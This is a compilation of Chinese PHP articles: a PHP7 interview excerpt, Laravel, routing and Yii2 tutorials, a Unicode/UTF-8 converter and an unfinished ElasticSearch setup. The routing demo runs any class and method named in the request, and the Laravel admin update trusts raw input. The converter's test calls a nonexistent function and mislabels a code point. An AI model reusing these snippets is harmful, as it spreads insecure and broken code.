这两年，微博的LAMP架构已经趋于稳定，整体性能也有几倍的提升。我们也有了一套自己的高性能LAMP整体解决方案。所以LAMP优化的工作少了一些。现在主要精力都放在基础设施的研发上，比如缓存中间层，转码服务，通信平台等等。


问：PHP7（PHPNG）有没有把新浪微博平台使用PHP的需求和痛点当做重要的反馈？


这个当然是有的，自从我加入开发组以来，和不少的其他成员有过类似的争论就是：我认为性能很重要，而有人会认为新特性很重要，那么当一个新特性影响性能的时候我们就会发生争执。


我很偏执于性能提升，这也是为什么我后来和Dmitry Stogov合作比较多的原因，因为他也特别关心性能。


而我关心性能的主要原因就是，对于每1%的性能提升能给微博这样的国内最大的LNMP平台带来的价值我有很真实的体会。目前我们微博的整体性能虽然相比两年前有了很大的提升，但是我认识到在不影响开发效率的情况下，进一步的提升只能依赖于语言、环境的性能提升。所以这部分也就是微博对PHP的需求。


PHP7在Wordpress上相比于5.6，有100%以上的真实性能提升（QPS），我相信明年，等PHP7发布以后，我们微博的整体LAMP平台的各项业务也可以得到100%的性能提升。


问：你参与PHP7（PHPNG）开发的流程是什么样的？你是如何和其他开发组成员合作的？


PHPNG当时是一个秘密的项目，最初的参与者只有Dmitry和我，我还记得是今年开春的时候，当时我们做的基于PHP5的JIT项目因为效果不理想所以搁置了，大家都比较郁闷。


Dmitry说他有个想法，把ZVAL重新设计下，压缩一下大小来减少内存占用。然后我们俩个人讨论了一下，因为其实我们每天都会有各种想法，所以当时也只是觉得：嗯，这个想法也许能Work。但还不是很有信心。


当时的主要想法是赶紧做出一个能运行的原型来测试下效果。这个过程中我们主要是讨论想法，然后各自实现要做的部分，再合并。


合作的主要工具还是靠Skype，不过因为他在圣彼得堡，和我们有时差，所以也会借助于邮件交流，通过Github来Review代码。


等到后来项目差不多有了结论，我们发现，“嘿，这个主意不错，起作用了”。然后就公开了。之后就变成了正常的大家协作模式，有想法就提交RPC，提交Patch，投票，大家Reivew，然后合并。


问：PHP7到目前为止已经增加或减少了哪些特性？在发布之前，还将如何提升性能？


有很多，除了PHPNG这个分支主要提供性能提升以外，我们还有AST（抽象语法树）的支持，Uniform Variable syntax，64bits length string supports，一些新的语法糖，以及最近的Native TLS等。


PHP7将在2015年10月正式发布， 在这之前，我们还有一些想法要尝试，比如使用zend_array直接替代Hashtable；比如通过指定函数重新分节，排序来减少iTLB miss；比如把JIT的一部分优化手段（类型推倒）引入到PHP中，配合一些类型专有的OPCodeHandler来提速；再比如进一步提高代码数据局部性减少Cache miss等等。


当然，我们还有一个并行在做的JIT项目，只不过我很担心这个项目能不能在PHP7发布的时候准备就绪。


问：PHP的新版本将跨过PHP6直接升级为PHP7吗？为什么？


这个主要的原因是，当年PHP有过一个开发版本叫做PHP6，但后来这个版本失败了，没有发布。所以，这次的版本也就应该是PHP7了。


问：Facebook发布的语言Hack和PHP是什么关系？Hack的目的是要取代PHP吗？这两种语言相比各自有什么优势？


没什么太大的关系，Hack is not PHP。要说取代的话，我相信他们（Facebook）可能会有这样的想法吧，不过这个要看社区接受不接受了。


对于Hack我不是特别熟悉，不好具体评价。


问：有人认为由于PHP易于学习，门槛低，所以导致一些并不适合编程的人涌了进来，你怎么看待这种观点？


这个观点我实在不敢赞同。我在本科毕业的时候，也尝试找了一些开发工作，面试了几个单位，都被拒了，也许在当时面试我的那些人眼里，我就是一个不适合编程的人吧。


但是PHP因为门槛低，让人可以很快看到自己“编程”的成果，会对新手产生一个正向反馈激励的作用，让有兴趣的人变得更有兴趣。 而编程的人越多，那么产生大牛、对整个技术进步做出贡献的人出现的概率也越大。


并且，未来的编程语言一定是朝着易用性发展，进一步降低编程的门槛，也许会有一天人人都能编程也说不定呢！


问：一名合格的PHP工程师的知识结构是怎样的？


我记得以前有一句话说：“ PHP工程师都是万金油”，其实这句话不仅仅对PHP工程师适用，应该对所有的工程师都适用。


知识结构要很广。Web开发涉及的技术点是比较多的，HTML、CSS、JS、SQL这些以外，还要懂得一些Nginx、Linux、Mysql的配置、维护、排错常用的办法，这些都应该懂一些。


问：除了技术能力之外，你在面试的时候还会注重什么？


我会特别注意思维清晰、沟通、谈吐。其实说穿了就是未来一起共事的话，会不会有障碍，以及成长潜力是否大。


问：曾经的phpe.net站长陈伯乐现在在卖男人袜。你对未来的打算是什么？会一直都是一位coder吗？


其实我是一个很懒的人，从来不会考虑得很远，今朝有酒今朝醉。所以对未来其实我也不是很清楚，我只是觉得现在我还是喜欢编程，喜欢通过自己的工作让大家受益并获得社区的赞誉，我觉得这样挺好的，我会继续做下去的。




更多精彩，加入图灵访谈微信！
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本文是本系列教程的完结篇，我们将一起给 Page 加入评论功能，让游客在前台页面可以查看、提交、回复评论，同时我们将在后台完善评论管理功能，可以删除、编辑评论。Page 和评论将使用 Eloquent 提供的“一对多关系”。最终，我们将得到一个个人博客系统的雏形，并布置一个大作业，供大家实战练习。


1. 初识 Eloquent


Laravel Eloquent ORM 是 Laravel 中非常重要的部分，也是 Laravel 能如此流行的原因之一。中文文档在：



	http://laravel-china.org/docs/5.0/eloquent

	http://www.golaravel.com/laravel/docs/5.0/eloquent/



在前面的教程中已经建立好的 learnlaravel5/app/Page.php 就是一个 Eloquent Model 类：


php<?php namespace App;

use Illuminate\Database\Eloquent\Model;

class Page extends Model {

    //

}



若想进一步了解 Eloquent，推荐阅读系列文章：深入理解 Laravel Eloquent。


2. 创建 Comment 模型


首先我们要新建一张表来存储 Comment，命令行运行：


bashphp artisan make:model Comment



成功以后，修改 migration 文件 learnlaravel5/database/migrations/***_create_comments_table.php 的相应位置为：


phpSchema::create('comments', function(Blueprint $table)
{
    $table->increments('id');
    $table->string('nickname');
    $table->string('email')->nullable();
    $table->string('website')->nullable();
    $table->text('content')->nullable();
    $table->integer('page_id');
    $table->timestamps();
});



之后运行：


bashphp artisan migrate



去数据库里瞧瞧，comments 表已经躺在那儿啦。


3. 建立“一对多关系”


修改 Page 模型：


php<?php namespace App;

use Illuminate\Database\Eloquent\Model;

class Page extends Model {

  public function hasManyComments()
  {
    return $this->hasMany('App\Comment', 'page_id', 'id');
  }

}



搞定啦~ Eloquent 中模型间关系就是这么简单。


模型间关系中文文档：http://laravel-china.org/docs/5.0/eloquent#relationships


扩展阅读：深入理解 Laravel Eloquent（三）——模型间关系（关联）


4. 前台提交功能


修改 Comment 模型：


php<?php namespace App;

use Illuminate\Database\Eloquent\Model;

class Comment extends Model {

  protected $fillable = ['nickname', 'email', 'website', 'content', 'page_id'];

}



增加一行路由：


phpRoute::post('comment/store', 'CommentsController@store');



运行以下命令创建 CommentsController 控制器：


phpphp artisan make:controller CommentsController



修改 CommentsController：


php<?php namespace App\Http\Controllers;

use App\Http\Requests;
use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Redirect, Input;

use App\Comment;

class CommentsController extends Controller {

    public function store()
    {
        if (Comment::create(Input::all())) {
            return Redirect::back();
        } else {
            return Redirect::back()->withInput()->withErrors('评论发表失败！');
        }

    }

}



修改视图 learnlaravel5/resources/views/pages/show.blade.php：


php@extends('_layouts.default')

@section('content')


<h4>
    <a href="/">⬅️返回首页</a>
  </h4>





<h1 style="text-align: center; margin-top: 50px;">{{ $page->title }}</h1>




<hr>




<div id="date" style="text-align: right;">
    {{ $page->updated_at }}
  </div>




<div id="content" style="padding: 50px;">
    <p>
      {{ $page->body }}
    </p>
  </div>




<div id="comments" style="margin-bottom: 100px;">

    @if (count($errors) > 0)
      <div class="alert alert-danger">
        <strong>Whoops!</strong> There were some problems with your input.<br><br>
        <ul>
          @foreach ($errors->all() as $error)
            <li>{{ $error }}</li>
          @endforeach
        </ul>
      </div>
    @endif

    <div id="new">
      <form action="{{ URL('comment/store') }}" method="POST">
        <input type="hidden" name="_token" value="{{ csrf_token() }}">
        <input type="hidden" name="page_id" value="{{ $page->id }}">
        <div class="form-group">
          <label>Nickname</label>
          <input type="text" name="nickname" class="form-control" style="width: 300px;" required="required">
        </div>
        <div class="form-group">
          <label>Email address</label>
          <input type="email" name="email" class="form-control" style="width: 300px;">
        </div>
        <div class="form-group">
          <label>Home page</label>
          <input type="text" name="website" class="form-control" style="width: 300px;">
        </div>
        <div class="form-group">
          <label>Content</label>
          <textarea name="content" id="newFormContent" class="form-control" rows="10" required="required"></textarea>
        </div>
        <button type="submit" class="btn btn-lg btn-success col-lg-12">Submit</button>
      </form>
    </div>

<script>
function reply(a) {
  var nickname = a.parentNode.parentNode.firstChild.nextSibling.getAttribute('data');
  var textArea = document.getElementById('newFormContent');
  textArea.innerHTML = '@'+nickname+' ';
}
</script>

    <div class="conmments" style="margin-top: 100px;">
      @foreach ($page->hasManyComments as $comment)

        <div class="one" style="border-top: solid 20px #efefef; padding: 5px 20px;">
          <div class="nickname" data="{{ $comment->nickname }}">
          @if ($comment->website)
            <a href="{{ $comment->website }}">
              <h3>{{ $comment->nickname }}</h3>
            </a>
          @else
            <h3>{{ $comment->nickname }}</h3>
          @endif
            <h6>{{ $comment->created_at }}</h6>
          </div>
          <div class="content">
            <p style="padding: 20px;">
              {{ $comment->content }}
            </p>
          </div>
          <div class="reply" style="text-align: right; padding: 5px;">
            <a href="#new" onclick="reply(this);">回复</a>
          </div>
        </div>

      @endforeach
    </div>
  </div>


@endsection



前台评论功能完成。


查看效果：








5. 后台管理功能


修改基础视图 learnlaravel5/resources/views/app.blade.php 为：


php<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Laravel</title>

    <link href="/css/app.css" rel="stylesheet">

    <!-- Fonts -->
  <link href='http://fonts.useso.com/css?family=Roboto:400,300' rel='stylesheet' type='text/css'>
</head>
<body>
    <nav class="navbar navbar-default">
        <div class="container-fluid">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
                    <span class="sr-only">Toggle Navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a class="navbar-brand" href="#">Learn Laravel 5</a>
            </div>

            <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
                <ul class="nav navbar-nav">
                    <li><a href="/admin">后台首页</a></li>
                </ul>
                <ul class="nav navbar-nav">
                    <li><a href="/admin/comments">管理评论</a></li>
                </ul>

                <ul class="nav navbar-nav navbar-right">
                    @if (Auth::guest())
                        <li><a href="/auth/login">Login</a></li>
                        <li><a href="/auth/register">Register</a></li>
                    @else
                        <li class="dropdown">
                            <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">{{ Auth::user()->name }} <span class="caret"></span></a>
                            <ul class="dropdown-menu" role="menu">
                                <li><a href="/auth/logout">Logout</a></li>
                            </ul>
                        </li>
                    @endif
                </ul>
            </div>
        </div>
    </nav>

    @yield('content')

    <!-- Scripts -->
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.1/js/bootstrap.min.js"></script>
</body>
</html>



修改后台路由组（增加了一行）：


phpRoute::group(['prefix' => 'admin', 'namespace' => 'Admin', 'middleware' => 'auth'], function()
{
  Route::get('/', 'AdminHomeComtroller@index');
  Route::resource('pages', 'PagesController');
  Route::resource('comments', 'CommentsController');
});



创建 Admin\CommentsController ：


bashphp artisan make:controller Admin/CommentsController



Admin/CommentsController 要有 查看所有、查看单个、POST更改、删除四个接口：


php<?php namespace App\Http\Controllers\Admin;

use App\Http\Requests;
use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Comment;

use Redirect, Input;

class CommentsController extends Controller {

    public function index()
    {
        return view('admin.comments.index')->withComments(Comment::all());
    }

    public function edit($id)
    {
        return view('admin.comments.edit')->withComment(Comment::find($id));
    }

    public function update(Request $request, $id)
    {
        $this->validate($request, [
            'nickname' => 'required',
            'content' => 'required',
        ]);
        if (Comment::where('id', $id)->update(Input::except(['_method', '_token']))) {
            return Redirect::to('admin/comments');
        } else {
            return Redirect::back()->withInput()->withErrors('更新失败！');
        }
    }

    public function destroy($id)
    {
        $comment = Comment::find($id);
        $comment->delete();

        return Redirect::to('admin/comments');
    }

}



接下来创建两个视图：


learnlaravel5/resources/views/admin/comments/index.blade.php：


php@extends('app')

@section('content')


<div class="container">
  <div class="row">
    <div class="col-md-10 col-md-offset-1">
      <div class="panel panel-default">
        <div class="panel-heading">管理评论</div>

        <div class="panel-body">

        <table class="table table-striped">
          <tr class="row">
            <th class="col-lg-4">Content</th>
            <th class="col-lg-2">User</th>
            <th class="col-lg-4">Page</th>
            <th class="col-lg-1">编辑</th>
            <th class="col-lg-1">删除</th>
          </tr>
          @foreach ($comments as $comment)
            <tr class="row">
              <td class="col-lg-6">
                {{ $comment->content }}
              </td>
              <td class="col-lg-2">
                @if ($comment->website)
                  <a href="{{ $comment->website }}">
                    <h4>{{ $comment->nickname }}</h4>
                  </a>
                @else
                  <h3>{{ $comment->nickname }}</h3>
                @endif
                {{ $comment->email }}
              </td>
              <td class="col-lg-4">
                <a href="{{ URL('pages/'.$comment->page_id) }}" target="_blank">
                  {{ App\Page::find($comment->page_id)->title }}
                </a>
              </td>
              <td class="col-lg-1">
                <a href="{{ URL('admin/comments/'.$comment->id.'/edit') }}" class="btn btn-success">编辑</a>
              </td>
              <td class="col-lg-1">
                <form action="{{ URL('admin/comments/'.$comment->id) }}" method="POST" style="display: inline;">
                  <input name="_method" type="hidden" value="DELETE">
                  <input type="hidden" name="_token" value="{{ csrf_token() }}">
                  <button type="submit" class="btn btn-danger">删除</button>
                </form>
              </td>
            </tr>
          @endforeach
        </table>


        </div>
      </div>
    </div>
  </div>
</div>


@endsection



learnlaravel5/resources/views/admin/comments/edit.blade.php：


php@extends('app')

@section('content')


<div class="container">
  <div class="row">
    <div class="col-md-10 col-md-offset-1">
      <div class="panel panel-default">
        <div class="panel-heading">编辑评论</div>

        <div class="panel-body">

          @if (count($errors) > 0)
            <div class="alert alert-danger">
              <strong>Whoops!</strong> There were some problems with your input.<br><br>
              <ul>
                @foreach ($errors->all() as $error)
                  <li>{{ $error }}</li>
                @endforeach
              </ul>
            </div>
          @endif

          <form action="{{ URL('admin/comments/'.$comment->id) }}" method="POST">
            <input name="_method" type="hidden" value="PUT">
            <input type="hidden" name="_token" value="{{ csrf_token() }}">
            <input type="hidden" name="page_id" value="{{ $comment->page_id }}">
            Nickname: <input type="text" name="nickname" class="form-control" required="required" value="{{ $comment->nickname }}">
            <br>
            Email:
            <input type="text" name="email" class="form-control" required="required" value="{{ $comment->email }}">
            <br>
            Website:
            <input type="text" name="website" class="form-control" required="required" value="{{ $comment->website }}">
            <br>
            Content:
            <textarea name="content" rows="10" class="form-control" required="required">{{ $comment->content }}</textarea>
            <br>
            <button class="btn btn-lg btn-info">提交修改</button>
          </form>

        </div>
      </div>
    </div>
  </div>
</div>


@endsection



后台管理功能完成，查看效果：








6. 大作业


依赖于 Page 的评论功能已经全部完成，个人博客系统雏形诞生。在本系列教程的最后，布置一个大作业：构建出 Article 的前后台，并且加上 Article 与 Comment 的一对多关系，加入评论和评论管理功能。在做这个大作业的过程中，你将会反复地回头去看前面的教程，反复地阅读中文文档，会仔细阅读我的代码，等你完成大作业的时候，Laravel 5 就真正入门啦~~




教程（四）代码快照：https://github.com/johnlui/Learn-Laravel-5/archive/tutorial_4.zip





  Laravel 5 系列入门教程【最适合中国人的 Laravel 教程】到此结束，谢谢大家！




 PHP路由技术的原理与实践

作者：我才是二亮

来源： PHP路由技术的原理与实践



                    
0x00 路由实现原理

用户通过指定的URL范式对后台进行访问，URL路由处理类进行处理后，转发到逻辑处理类，逻辑处理类将请求结果返回给用户。

约定URL范式和规则

约定一套自己喜欢的，对搜索引擎友好，对用户友好的URL规则

URL处理类

对用户请求的URL进行解析处理，获取到用户请求的类，方法，以及Query参数等，并将请求转发给逻辑处理类。

逻辑处理类

处理网站的真实业务逻辑。

0x01 URL范式约定

目前来说，有两种比较流行的URL格式，一种是普通模式，一种是  pathinfo  模式。

普通模式

在  ThinkPHP  框架中，默认的URL格式即为普通模式，普通模式URL如下:

index.php?m=home&c=user&a=login&v=value

其中  m  参数的值为模块名称，  c  参数的值为控制器名称，  a  参数的值为方法名称，之后的参数则为该方法中所要接收的其他  GET  请求参数

pathinfo模式

在  CodeIgniter  框架中，默认的URL格式为  pathinfo  模式，如下：

index.php/controller/method/prarme1/value1

这块的意义也已经标注的很明白了，在  method  以后，就是方法接收的  GET  参数了，格式就是  名称/值 

0x02 URL路由处理类（核心）

此处我们选用最简单的普通单模块模式进行演示，只为说明简单的原理，如下：

index.php?c=user&a=login&v=value

我们约定参数  c  为控制器名称，参数  a  为方法名称，之后的均是  GET  参数

<?php
include 'index.class.php';
include 'user.class.php';
// 对用户请求URL进行处理
$query = $_GET;
$controller = isset($query['c']) ? $query['c'] : 'indexController';
$action = isset($query['a']) ? $query['a'] : 'index';
if (class_exists($controller)) {
    if (method_exists($controller, $action)) {

        unset($_GET['c']);
        unset($_GET['a']);
        // 实例化用户请求类并调用方法
        (new $controller())->$action();

    } else {
        echo '控制器' . $controller . '中不存在方法' . $action;
    }
} else {
    echo '不存在控制器' . $controller;
}

其中 unset() 掉两个get参数，只是为了对真正调用的方法造成其他影响。

0x03 逻辑处理类

逻辑处理类就是最终的业务逻辑，也就是真正的回应用户请求的代码片段。下面只是一个简单的示例：

/* index.class.php 文件源码 */
<?php
class indexController {

    public function index(){
        var_dump($_GET);
    }
}

/* user.class.php 文件源码 */
<?php
class user {

    public function index() {
        echo '这里是User控制器';
    }

    public function login() {
        var_dump($_GET);
    }
}

0x04 结束

这里只是最简单的PHP路由技术的原理，其实真正为一个项目或者框架进行路由开发，可能需要能够兼容很多复杂的情况，需要对各种情况都要考虑到。

原文作者：我才是二亮 
原文链接：http://www.2liang.me/?p=230
转载必须在正文中标注并保留原文链接、作者等信息。




 Yii2系列教程：安装及Hello World

作者：JellyBool

来源： Yii2系列教程：安装及Hello World



                    

  原文来自：https://jellybool.com/post/programming-with-yii2-getting-started-with-...




貌似我排版排了很久还是没能排版成功，SF的编辑器实时预览时永远是好的，但是到了文章页面貌似就。。。想看好的排版直接去我的blog吧。有图有真相





嗯，今天起打算写一个系列教程来过一遍Yii2，没错，我就是来安利大家使用Yii2的。至于最爱的Laravel，后面是打算会有教程的，只是不知道是系列博文还是直接录视频而已，因为Laravel貌似想讲的东西实在是太多了。给Laravel发完金水之后，还是回到Yii2本身吧。


额，如果你还没听说过什么是Yii，可以直接看下面的链接：



  http://www.yiiframework.com/




安装Yii2


打算从头开始，所以，连安装Yii2也稍微写一点吧。安装Yii2最好的方式就是使用composer：


composer global require "fxp/composer-asset-plugin:~1.0.3"
composer create-project --prefer-dist yiisoft/yii2-app-basic helloYii



等待一小段时间之后（如果等太久或直接报错，请使用VPN），在这两步你应该会看到类似下面的信息：


Updating dependencies (including require-dev)
  - Installing fxp/composer-asset-plugin (v1.0.3)
    Downloading: 100%

Writing lock file
Generating autoload files
> yii\composer\Installer::postCreateProject
chmod('runtime', 0777)...done.
chmod('web/assets', 0777)...done.
chmod('yii', 0755)...done.



这里的第一条命令跟官方文档的有稍微的差别，官方文档还是停留在fxp/composer-asset-plugin:~1.0.0，在我写这篇文章的时候，最新版本为fxp/composer-asset-plugin:~1.0.3。所以这里会有一些些不一样。



  注：我直接将helloYii项目放在了桌面，你可以根据自己的喜好调整目录




安装完Yii2之后，进入到项目的web/目录：


cd helloYii/web



开启PHP内置服务器：


php -S localhost:8999



然后再浏览器输入localhost:8999，你就可以看到下面的页面了：





这里需要说明的是：我是在mac下进行的开发，并且处于便捷的原因，我后续也会一直使用PHP内置服务器，也就是说本教程的localhost:8999是我默认的首页地址。至于用MAMP for OS X的用户，你可以直接配置MAMP


cd /Applications/MAMP/htdocs
ln -s ~/Desktop/helloYii/ /Applications/MAMP/htdocs/helloYii



然后你可以访问这样的地址：http://localhost:8888/helloYii/web，不出意外，你也可以看Yii默认的可爱首页了。


对于用Windows的同学，我建议你们直接用WAMP，不过具体配置我倒是没有实际操作过，所以不做任何评论。


关于Yii2


MVC的支持就基本不用多说了，之前发过一篇文章粗略地说过一遍。而在这里我想说明的是：在Yii2中，我们的单入口文件是web/index.php，所以刚刚在开启PHP内置服务器的时候需要来到这个目录，不过如果你直接指定也是可以的。这个文件负责将Yii2项目所需要的东西全部加载完成之后，最后通过run方法来使得整个项目可以跑起来：


<?php

// comment out the following two lines when deployed to production
defined('YII_DEBUG') or define('YII_DEBUG', true);
defined('YII_ENV') or define('YII_ENV', 'dev');

require(__DIR__ . '/../vendor/autoload.php');
require(__DIR__ . '/../vendor/yiisoft/yii2/Yii.php');

$config = require(__DIR__ . '/../config/web.php');

(new yii\web\Application($config))->run();



默认的情况下，我们看到的Yii2首页是/controllers/SiteController.php下的Index方法


public function actionIndex()
    {
        return $this->render('index');
    }



通常情况下，控制器一般都会有比较多的方法来链接模型和视图之间的桥梁，但是方法虽多，很多时候都只是一些简单的代码和逻辑，所以，不用担心。


上面的Index方法渲染了index这个模版，而这个模板位于/views/site/index.php，至于控制器和视图之间的命名规则，参考这里：


views/ControllerID/ViewName.php




	
ControllerID :  表示控制器的ID，也就是控制器去掉Controller的前缀，比如SiteController就对应site


	
ViewName : 是对应方法的名字，但是不包括action字眼，比如actionIndex对应的是index.php




而在使用render方法来渲染视图的时候，Yii2默认地也会渲染载入/views/layouts/main.php这个文件，而这个文件做的事就是载入一些html头部的共用文件，比如js，css，导航栏和底部繁荣导航栏等。这里其实我们最值得关心的其实就是下面这段代码的<?= $content ?>：


<?= Breadcrumbs::widget([
                'links' => isset($this->params['breadcrumbs']) ? $this->params['breadcrumbs'] : [],
            ]) ?>
            <?= $content ?>
        </div>



这个<?= $content ?>可以说就是我们之后定义视图的内容，我们后续创建的视图文件会被读成字符串的形式赋给$content，然后进行渲染显示。


Hello World


有了上面的安装和基本知识之后，我们就可以自己动手来创建一个页面了。不过在创建页面之前，我们先来做一点简单的配置：开启Yii2的enablePrettyUrl模式，因为这样对于后续的开发会便捷很多，而且开启之后，我们的url也会变得很简洁又好，不想现在这样：


http://localhost:8999/index.php?r=site%2Fabout



这是我点击首页导航栏的About出现的url，一看到这个，我是拒绝的，所以来到/config/web.php这个配置文件中，找到'components' => []这个数组，加入下面的两行代码：


'urlManager' => [
            'showScriptName' => false,
            'enablePrettyUrl' => true
        ],



加入之后，正确的代码配置是长成这个样子的：


'components' => [
        'urlManager' => [
            'showScriptName' => false,
            'enablePrettyUrl' => true
        ],
        'request' => [



这样开启enablePrettyUrl模式之后，我们就可以通过http://localhost:8999/site/about来访问我们的About页面了，这里的规律是这样的：


http://localhost:8999/ControllerID/ActionName



比如，我们在/controllers/SiteController.php创建一个Say操作方法：


public function actionSay($target = 'World')
{
    return $this->render('say', ['target' => $target]);
}



我们要访问这个方法的正确路径就是http://localhost:8999/site/say 。


在Yii中使用action关键字前缀来区分用于url操作方法和其他方法，这里的actionSay接收一个参数$target，如果用户在访问的时候传入target参数，target就为用户传入的值，而如果用户没有传入，我们将其默认值设为World。有了控制器的方法，从$this->render('say', ['target' => $target])这行代码来看，我们需要需要创建一个say.php模板文件，这个文件是在哪里的呢？


根据前面说的视图模板规则，它应该位于：/views/site/say.php。在里面简单写上下面这一小段代码：


<?php
use yii\helpers\Html;
?>
<h1>Hello <?= Html::encode($target) ?></h1>
<p>Welcome to your Yii2 demonstration application.</p>



出于安全的因素考虑，我们在say.php这个模版文件中使用了yii\helpers\Html类来对用户传入的数据进行过滤，所以我们才有了这样的输出：


<?= Html::encode($target) ?>



我们来访问http://localhost:8999/site/say试试，不出意外这时你看到的是这样的：





然后我们再来访问：http://localhost:8999/site/say?target=少年，还是用Yii吧





虽然说在这里演示用中文不太和谐，但是没办法，我得安利一下各位少年，上手Yii2吧。


第一篇先写到这里了吧，下一篇打算再说说Yii2的MVC,Fomrs 和Layouts这几个知识点。


Happy Hacking



  源码会放在 Github：https://github.com/JellyBool/helloYii




 PHP实现Unicode和Utf-8编码的互相转换

作者：杨佰

来源： PHP实现Unicode和Utf-8编码的互相转换



                    

  最近恰好要用到unicode编码的转换，就去查了一下php的库函数，居然没找到一个函数可以对字符串进行Unicode的编码和解码！也罢，找不到的话就自己实现一下了。。。




Unicode和Utf-8编码的区别


Unicode是一个字符集，而UTF-8是Unicode的其中一种，Unicode是定长的都为双字节，而UTF-8是可变的，对于汉字来说Unicode占有的字节比UTF-8占用的字节少1个字节。Unicode为双字节，而UTF-8中汉字占三个字节。

UTF-8编码字符理论上可以最多到6个字节长,然而16位BMP（Basic Multilingual Plane）字符最多只用到3字节长。下面看一下UTF-8编码表：


U-00000000 - U-0000007F: 0xxxxxxx 
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx 
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 



xxx 的位置由字符编码数的二进制表示的位填入， 越靠右的 x 具有越少的特殊意义，只用最短的那个足够表达一个字符编码数的多字节串。 注意在多字节串中, 第一个字节的开头"1"的数目就是整个串中字节的数目。而第一行中以0开头，是为了兼容ASCII编码，为一个字节，第二行就为双字节字符串，第三行为3字节，如汉字就属于这种，以此类推。(个人认为：其实我们可以简单的把前面的1的个数看成字节数)


Unicode怎么转换成Utf-8呢


为了要将Unicode转换为UTF-8，当然要知道他们的区别到底在什么地方。下面来看一下，在Unicode中的编码是怎样转换成UTF-8的，在UTF-8中，如果一个字符的字节小于0x80（128）则为ASCII字符，占一个字节，可以不用转换，因为UTF-8兼容ASCII编码。假如在Unicode中汉字“你”的编码为“u4F60”，把它转换为二进制为100111101100000，然后按照UTF-8的方法进行转换。可以将Unicode二进制从低位往高位取出二进制数字，每次取6位，如上述的二进制就可以分别取出为如下所示的格式，前面按格式填补，不足8位用0填补。


unicode: 100111101100000                   4F60

utf-8:    11100100,10111101,10100000       E4BDA0



从上面就可以很直观的看出Unicode到UTF-8之间的转换，当然知道了UTF-8的格式后，就可以进行逆运算，就是按照格式把它在二进制中的相应位置上取出，然后在转换就是所得到的Unicode字符了（这个运算可以通过“位移”来完成）。如上述的“你”的转换，由于其值大于0x800小于0x10000，因此可以判断为三字节存储，则最高位需要向右移“12”位再根据三字节格式的最高位为11100000（0xE0）求或（|）就可以得到最高位的值了。同理第二位则是右移“6”位，则还剩下最高位和第二位的二进制值，可以通过与111111（0x3F）求按位于（&）操作，再和11000000（0x80）求或（|）。第三位就不用移位了，只要直接取最后六位（与111111（ox3F）取&），在与11000000(0x80)求或（|）。


Utf-8怎么逆转回Unicode呢


当然在UTF-8到Unicode的转换也是通过移位等来完成的，就是把UTF-8那些格式相应的位置的二进制数给揪出来。在上述例子中“你”为三个字节，因此要每个字节进行处理，有高位到低位进行处理。在UTF-8中“你”为11100100,10111101,10100000。从高位起即第一个字节11100100就是把其中的"0100"给取出来，这个很简单只要和11111（0x1F）取与（&），由三字节可以得知最到位肯定位于12位之前，因为每次取六位。所以还要将得到的结果左移12位，最高位也就这样完成了0100,000000,000000。而第二位则是要把“111101”给取出来，则只需将第二字节10111101和111111(0x3F)取与（&）。在将所得到的结果左移6位与最高字节所得的结果取或（|），第二位就这样完成了，得到的结果为0100,111101,000000。以此类推最后一位直接与111111（0x3F）取与（&），再与前面所得的结果取或（|）即可得到结果0100,111101,100000。


PHP代码实现


/**
 * utf8字符转换成Unicode字符
 * @param  [type] $utf8_str Utf-8字符
 * @return [type]           Unicode字符
 */
function utf8_str_to_unicode($utf8_str) {
    $unicode = 0;
    $unicode = (ord($utf8_str[0]) & 0x1F) << 12;
    $unicode |= (ord($utf8_str[1]) & 0x3F) << 6;
    $unicode |= (ord($utf8_str[2]) & 0x3F);
    return dechex($unicode);
}

/**
 * Unicode字符转换成utf8字符
 * @param  [type] $unicode_str Unicode字符
 * @return [type]              Utf-8字符
 */
function unicode_to_utf8($unicode_str) {
    $utf8_str = '';
    $code = intval(hexdec($unicode_str));
    //这里注意转换出来的code一定得是整形，这样才会正确的按位操作
    $ord_1 = decbin(0xe0 | ($code >> 12));
    $ord_2 = decbin(0x80 | (($code >> 6) & 0x3f));
    $ord_3 = decbin(0x80 | ($code & 0x3f));
    $utf8_str = chr(bindec($ord_1)) . chr(bindec($ord_2)) . chr(bindec($ord_3));
    return $utf8_str;
}



测试一下了


$utf8_str = '我';

//这是汉字“你”的Unicode编码
$unicode_str = '4f6b';

//输出 6211
echo utf8_str_to_unicode($utf8_str) . "<br/>";

//输出汉字“你”
echo unicode_str_to_utf8($unicode_str);



以上这些转换是针对中文汉字【往大了说是非ASCII】的测试，因为如果是ASCII的话，转来转去都是一样的，也用不着费那么大工夫。

还有就是这两个函数只是简单的实现了一下，只支持单个字符【一个完整的utf8字符或是一个完整的Unicode字符】互相转换，大家如果明白了得话就可以尽情去扩展了。。。


 为你的站点插上ElasticSearch的翅膀

作者：JellyBool

来源： 为你的站点插上ElasticSearch的翅膀



                    

  原文来自：https://jellybool.com/post/setup-slasticsearch-on-your-website




在我的博客按Shift+S就可以呼出搜索框，可以直接体验一下现实的Demo





ElasticSearch凭借强大的API和不俗的搜索性能，目前在搜索引擎领域的势头貌似越来越猛了，处于兴趣原因，自己就花了点时间将自己的博客搜索插上了ElasticSearch的翅膀。


安装Oracle JDK


sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
